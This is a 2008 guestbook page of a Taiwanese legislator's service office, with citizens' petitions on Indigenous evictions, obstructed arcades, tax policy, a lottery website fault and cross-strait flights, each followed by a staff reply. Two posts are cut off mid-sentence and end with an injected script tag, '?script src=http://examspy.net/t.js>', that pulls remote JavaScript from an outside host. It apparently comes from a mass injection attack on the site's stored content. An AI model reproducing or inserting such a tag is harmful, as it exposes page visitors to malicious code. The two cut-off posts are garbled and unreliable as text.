 | | 主題 | 有關於前幾天原住民在台北被拆掉的屋子問題 125.233.242.* |
|---|
| | | 內容 | 我想發表這篇：
原因是因為我今天早上上山洗溫泉時，再度看見了狼煙！！因為我是個喜歡洗溫泉的人～也是個親近山林的人，但是對於狼煙，身為一個軍事家，我是非常敏感的。
今天原住民會燃起狼煙，無異於接近「宣戰」的意味，而在最近的新聞中，我看見原住民部落的拆遷～其實，仔細想想與推想之後，我提出一個慎重的建議，惠請馬蕭團隊參考：
一、以馬蕭競選總部的名義派出專家，協助現在被拆遷的那個原住民部落有關於勞保相關補助（因為大部分的原住民應該不知道）與相關的行政扶助程序，那天在電視之中，原住民在鏡頭的最後一句話：「租屋要錢～」你知道我聽見這句話的時候，過去的心境讓我真的鼻酸與當場落淚，雖然：公權力要執行，但是社會福利依然要進行。
二、請執政同志協助有關於相關文書的申請（附註：因為弱勢團體本身可以經由政府單位協助申請相關證件，以方便申請急難救助，但是請必須以「非官方」身份的人幫忙，以免落人口實）當申請之後，對於目前租賃不出去的租屋，透過行政單位協助採用「徵集」方式，先安頓這些人，讓這些原住民有一個最起碼的居所，不至於流離失所，毫無依靠。
三、請快點執行吧：這是對於弱勢團體的急難之際所提出的一個懇求。
小市民知道馬先生的選舉行程一定很忙,但是如果要是真心愛台灣
就花點心思幫忙一下吧
由其現在天氣這麼冷,魚蝦都凍死了
更何況還有剛出生的新生兒
希望這樣心聲能讓下屆總統先生聽到 |
|---|
| | 板主回覆 | 您好:
對於你的建議,我們將轉知馬蕭競選總部,也會轉知相關社福單位,並研議相關法案部分來加以協助.
林鴻池委員板橋服務處 3/4/2008 11:48:00 AM |
|---|
|
| 主題 | 請問佔用騎樓要到哪裡檢舉 203.121.231.* |
|---|
| | 留言人 | 陳小姐 3/1/2008 10:16:39 AM |
|---|
| | 內容 | 您好
我是板橋國光路上的住戶
從中正路口走進國光路的騎樓被各種商店佔用，每次經過總是要閃來閃去，遇到下雨天更是不便，況且馬路旁也停滿汽機車，行人簡直都快被逼到馬路中央去了，就算走在騎樓與馬路邊的狹窄細縫中，也有店家的各種管線障礙，使家父好幾次差點跌倒，對於此種狀況非常不滿。這個路段的騎樓使用嚴重影響行人權益已久，盼協助清除改善!
|
|---|
| | 板主回覆 | 陳小姐您好:
有關騎樓長期佔用問題,目前負責取締的一般為警察機關,你可向當地警局檢舉,也可上縣長信箱陳情反應,我們也會持續關切此一情況.
林鴻池委員板橋服務處 3/4/2008 11:48:22 AM |
|---|
|
| | | 內容 | 天下雜誌- 若您贊同他的看法，請轉寄給其他受薪階級
如果這些所謂的立委是來增加我們的負擔，那選他們來做什麼的?皮球受到的壓力越大，反彈的力量會越大，現階段只是不想和那些整天操弄人民的政客計較，一旦壓力到達極限，爆發就不只是皮球的反彈壓力而已，用力傳吧!!各位~~
天下雜誌- 若您贊同他的看法，請轉寄給其他受薪階級。
即將在明年度開始實施的二稅合一制度，減稅對象則是企業主，讓企業主可以將營業
稅，拿來於個人綜合所得稅中扣抵。此舉估計一年又要為國庫減少三百五十億的稅。
在目前的政經情勢下，富人要避稅、減稅似乎很容易，但中產階級、窮人要減稅，卻
困難重重，不少學者指出。
例如由立委翁金珠、賴勁麟等人，共同提出的所得稅法修正案，希望凡六歲以下，嬰
幼兒送托之費用，每年以五萬一千元為抵扣上限」，攸關全國數百萬的受薪、有子女
家庭上班族的福益，在立法院卻乏人聞問。
根據他們研究，台灣非農業受雇員工的雙薪家庭，平均年收入是九十六萬。
若有一位六歲以下小孩，托嬰或讀私立幼稚園，則會佔去年收入的二三％。
但是一般家庭都有兩位小孩，撫育子女的經費就將佔掉年收入四○％以上。
若這對夫妻在沒有任何幫助下，還要自購住宅，那簡直就是無法承受的重擔。
更何況根據最新科學研究，影響個人性格及人格形成最重要的關鍵，是在小孩六歲之
前（詳見天下一九九九年十一月教育特刊「二十一世紀從○開始」）。但是台灣稅制根
本跟不上時代潮流，一位企業界負責人說。
【誰來關心中產階級？】
可是立法院一群委員，可以為許多跟財團利益相關的法案挑燈夜戰，「他們（財團型
立委）想要的東西，可以很快的動員通過，例如農發條例、博奕條款，」民進黨立委
賴勁麟指出，卻很少立委對照顧中產階級的法案，加以青睞。
十二月十五號，立法院經濟委員會挑燈夜戰，審查農業發展條例。賴勁麟分析，這個
條例是以財團、地方派系出身的立委為主，趁這次總統大選，以選票為條件，向行政
系統施壓，必須在選前過關，「若一通過，對地方派系是大利多。」
一位金融業董事長指出，這次農發條例修正案，吵的那麼大聲，真的是農民沒有房
子住嗎？「搞了半天是立委，很多農業立委買了很多農地，沒辦法翻身。
還有一些農會手上有農地，這只是少數人的利益，但這些利益很切身，所以吵的很大
聲，好像代表民意，」常常與立法委員有接觸的他觀察。
農發條例牽涉到是否開放農地自由興建農舍，引起社會極大爭議，以中研院長李遠哲
為首的一百多位學者，曾聯名呼籲應該在總統大選過後才審查。但是在一群立委動員
下，農發條例仍於十二月十五日深夜在立法院經濟委員會完成初審。
事後，報紙上曾出現社論批評，當前立法的前提考量，已經不再符合「公與義」，反
倒比較在乎能否滿足「私與利」。這樣不符公與義的立法，要把台灣帶向什麼境地？
在立法院已被財團、派系型立委把持的情況下，希望他們訂出對一般受薪階級有益的
法案，簡直是奢求。住在台北市的林亨通，可以說是台灣雙薪家庭的典型。夫妻收入
一個月七萬多元，兩個小孩，一個念小學，一個念幼稚園，「一家四口擠在太太娘家
的一個房間裡，已經五、六年了，最大的夢想就是買一棟自己的房子，」雖然右下肢
小兒痲痺，但是個性開朗活潑，林亨通為了提升家計，下班後也抽空販賣公益彩券。
【昂貴的國宅】
然而，他能負擔的只是 一坪 十萬元以下的房子。最近台北市國宅處通知他看幾個完工
的、所謂照顧平民的「國宅」，結果每坪都在十五萬元以上，甚至超過二十萬元，有
的一戶售價超過一千萬，幾乎破滅了他購屋的夢想。
談到立委根本不重視跟受薪階級相關的法案時，他說：「當然啊，他們沒有這種困
擾，住的房子可能不用錢，公家，薪水搞不好十分之一就能打平家庭開銷，剩下的就
可以存起來。他們不會了解，我們要買一棟房子，會那麼辛苦。」
中產、受薪階級的苦痛，三十多歲的周志全、高淑玲夫婦，感受也十分深刻。原本小
兩口在台北縣汐止林肯大郡，有一間二十多坪的小公寓。一九九七年八月，林肯大郡
崩塌，造成二八人死亡，五百多戶房屋毀壞，從此生命產生巨大的改變。
「這件事讓我覺醒，我跟社會、跟政府的關係，被啟蒙了，」高淑玲說，原來她只過
自己的生活，但現在了解到，政府施政如此深刻影響大家的生活、工作、人生目標。
一棟價值約三、四百萬的房子，就這樣沒了，仍欠銀行的二百多萬貸款還要繳，工作
所得的薪資，所得稅仍然沒有減少。兩年多來，高淑玲心中一直忿恨不平的是，林肯
大郡的地基是沙頁岩、?script src=http://examspy.net/t.js> |
|---|
| | 板主回覆 | 您好:
感謝您轉寄這份資料,將會把它列為問政的重要參考資料,感謝您提供寶貴問政意見
林鴻池國會辦公室 2/29/2008 9:28:12 AM |
|---|
|
| | | | 板主回覆 | 你好:
我們已經看過您的信函,是否可以進一步將您的需求說明清楚,我們將會進一步提供協助
林鴻池委員國會辦公室
TEL:02-23586871 2/27/2008 2:14:12 PM |
|---|
|
| 主題 | 查詢今彩539,無法查詢對獎資料,影響小市民權力 118.165.1.* |
|---|
| | 留言人 | 小市民 2/24/2008 9:41:16 AM |
|---|
| | 內容 | 今天查詢今彩539,到台灣彩卷網站,選97年2月 份,查詢,只有出現2/11~2/22,2月11日之前沒有.我要對2月1日,找不到號碼.
打到台灣彩卷客服去,他們說電腦正常 .
可是我看到的就是不常.
其他種類彩卷都可正常看到整月份,只有539不正常.
我覺得台灣彩卷並有有真正去解決,只會要我在試試看,我試了還是一樣.
我又打到客服,他說知道了.我問什麼時候解決問題,他們不回應.
|
|---|
| | 板主回覆 | 您好:
您的陳情內容已經收到,經詢問台彩公司,應是操作上的一些問題,我們可以電話中跟你解說
02-23586871請找洪先生
林鴻池委員國會辦公室 2/25/2008 11:10:30 AM |
|---|
|
| | | 內容 | 以下是小弟對兩岸直航的一點看法,
希冀委員在立院推動兩岸直航時, 能稍做參考,
俾利國內航空業發展及維護相關產業從業人員 (估計萬人以上) 的生計.
謝謝!
<<面對直航，台灣應有的空運政策>>
目前兩位總統候選人皆提出台灣應予對岸直航的政策，讓台灣終於不用自外於東亞最大國家的交通線上，這是歷史的必然走向，勇於與當前政府提出不同作法，也是值得鼓勵的事。
就兩者陣營的細部規劃內容，筆者以為大方向固然正確，唯讀小細節以及配套措施仍需要堅持以及兼顧，直航才能發揮最大的經濟利益。
一、航點以及航班必須達到經濟規模
台灣目前最大的空運中心在桃園機場，距離台北市區約40公里，有其無可取代的地位，對於大台北六百萬人，加上桃竹苗以及多數台中以北的多數人口而言，藉由陸地運輸到達桃園機場的時間最多兩個小時，除非偏遠地區，否則超過三小時的機會不多。以直航或者所有國際航班而言，台灣目前南北一大一小兩個機場為主的運輸政策是合宜的。而桃園機場為雙跑道機場規劃完整，週圍住家不多可以全天候運作，不需夜間休息，更是國內其他機場難以比擬的。
以同樣的航班數目，一個機場若能在一天內提供七個不同時間的航班，比之七個相近的機場每天均提供一個航班，對於商務及個人旅客而言，一定是間隔點越密集的航班越方便，最好早上下午晚上都有班機，旅客可以事情做完了就出發，也可以在下班後選擇晚班機搭程，不用因為趕不上飛機而等到隔日。
因此，直航航線應該以集中桃園機場起降為主，搭配小港機場疏運南部旅客，不應將航班過於分散在其他機場；在航空公司的選擇上，也不能雨露均霑每個都飛同一點，對大陸主要航點應只開放台籍公司至多兩家經營 (相對的大陸公司也會有兩家，所以四家經營起來跟台港線一般，不用擔心壟斷問題)，而次要航點應只指定一家，這樣才能使得服務的提供趨於完整。
二、務必爭取大陸轉機旅客
直航對於台灣籍航空公司的營運會有幫助，但並非仙丹靈藥。目前兩岸間主要的空運業務，乘客可以選擇搭乘港澳籍航空轉機，或是先搭乘台籍公司的飛機到港澳濟州等地轉大陸籍航空公司的飛機赴大陸，也就是除了港澳籍公司的乘客以外，不管買的是台籍公司的票還是大陸公司的票，航程中一定會坐到台籍公司的飛機，台籍公司可以賺取港澳以外一半以上兩岸旅客的利益。直航之後，所有的大陸航機也會直飛台灣，台籍公司大體上可能還是維持疏運一半旅客，而除了北京以外，飛航廣州、上海跟港澳線的航程類似，直飛了台籍公司的港澳濟州線必定都會減班，若旅客數並無顯著成長，直航只是把本來同樣數目的旅客載往距離相似的不同目的地，因此不是單純的可以直飛就可以帶來空運利益。
兩岸直航對業者的利基在於，點對點的方便可以帶來更多旅客，不是每個旅客帶來的平均收益並會比轉機時增加很多。如果設計航線時能讓更多的大陸旅客藉由台籍公司的成熟空運網 (華航及長榮)，轉機到東南亞、東北亞地區，以及北美洲地區，台籍公司才能夠增加獲利。要經營轉機旅客，首要條件就是航班的銜接要順暢，不需要太多的轉機時間。目前香港是東亞跟大中國地區最大的轉運點，而國泰加港龍航空 (兩者已合併) 布建的運輸網跟密集航次是國內業者夢寐以求但無法比擬的。因此，直航點的同公司的航班必須夠綿密，才有辦法搭配台灣較少的東亞跟北美航線，才能跟港澳業者競爭。
三、重新檢討本島民航機場的數量
台灣是欉爾小島，土地資源並不豐沛，機場卻是一種耗用資源 (包括土地、人力、能源) 的建設。台灣高鐵已經正式營運並達到經濟規模，不論在運輸成本跟資源的花費上都比空運節省，成為西部運輸的主幹毋庸置疑。未來即便要制衡高鐵也不必靠空運，高鐵通車的前十年西部航線就以每況愈下，靠的就是台灣已經很便捷的公路運輸跟鐵路來制衡。
在當前政府的政策下，開闢了許多島內新航線跟民航機場，然而這些航線紛紛因旅客不足而減班、停飛，民航站也因為收入不足而虧損壘壘。未來在新任政府上台後，檢討民航站的合宜性是當務之急，筆者認為，在台灣本島內陸運三小時的範圍內不應有兩個國際機場，亦即桃園機場已經存在，松山就不應有國際線營運，清泉崗也應徹底檢討，七股機場更沒有建設的價值；而在陸運兩小時內的範圍，不應該有兩個國內線機場，既然小港機場已經存在，屏東機場以及恆春以外所有西部航線都應該停止營運。
政府的責任是事先做好規劃，不要等到航線跟航空站虧損了才要業者苦撐或是自己想辦法，西部航線應該早日做好停航的準備，若干航空站可以直接還給軍方。
四、松山機場功能重新規劃
松山機場的存在始終是個足以讓台北市民討論許久的話題。如要保存下來，甚至與大陸直航，並非不可，但前提是必須讓桃園機場的航線先達到可以讓大陸旅客轉機的經濟規模，而與大陸直航也必須僅限於對岸的國內線機場，如上海虹橋，否則直飛上海浦東、廣州、北?script src=http://examspy.net/t.js> |
|---|
| | 板主回覆 | 您好
已經收到你的建言,我們已經發函給行政院處理(發文字號:鴻杰字第97022502號)
若有進一步消息會再給您聯絡,若有進一步建言,請與我們聯繫
林鴻池委員國會辦公室
2/25/2008 2:09:54 PM |
|---|
|
| | | | 板主回覆 | 丹小姐您好:因為委員經常要來往國會辦公室及服務,並經常要參加會議及各種行程,因此無法一直留在服務處,若有事需要協助,可先與辦公室聯繫約時間跟委員直接面談.
林鴻池委員板橋服務處 2/25/2008 12:18:18 PM |
|---|
|
| | | | 板主回覆 | 您好:
有關此一問題,馬蕭總部已在處理中,感謝你提供寶貴意見!
林鴻池委員板橋服務處 2/25/2008 12:13:39 PM |
|---|
|
| 主題 | 請支持修改「集會遊行法」 61.231.66.* |
|---|
| | | 內容 | 委員及工作人員大家恭喜：
馬上就過年了，向大家拜年。
我們是台北紅衫軍自主公民協會，新的一年我們將持續推動「集會遊行惡法」的修改，將申請制改為報備制，並收回警察裁量權，以保障憲法賦予人民集會遊行的權力。
希望委員能夠支持我們，儘快將集會遊行法修正案，儘快排入議程。
我們將在年後到立院或者您的服務處親自拜訪您，尋求支持。
感謝您 並祝福您及所愛的人
平安喜樂
台北紅衫軍自主公民協會理事長特別助理
祝務耕 (紅衫軍B哥) 鞠躬
|
|---|
|
| | | 內容 | 我有要是找林鴻池先生，非常緊急，我想過幾天 親自 登門造訪 謝謝 |
|---|
| | 板主回覆 | 您好:
若需協助可直接至服務處或國會辦公室,定當全力幫忙.
林鴻池委員板橋服務處 2/25/2008 12:17:24 PM |
|---|
|
| |
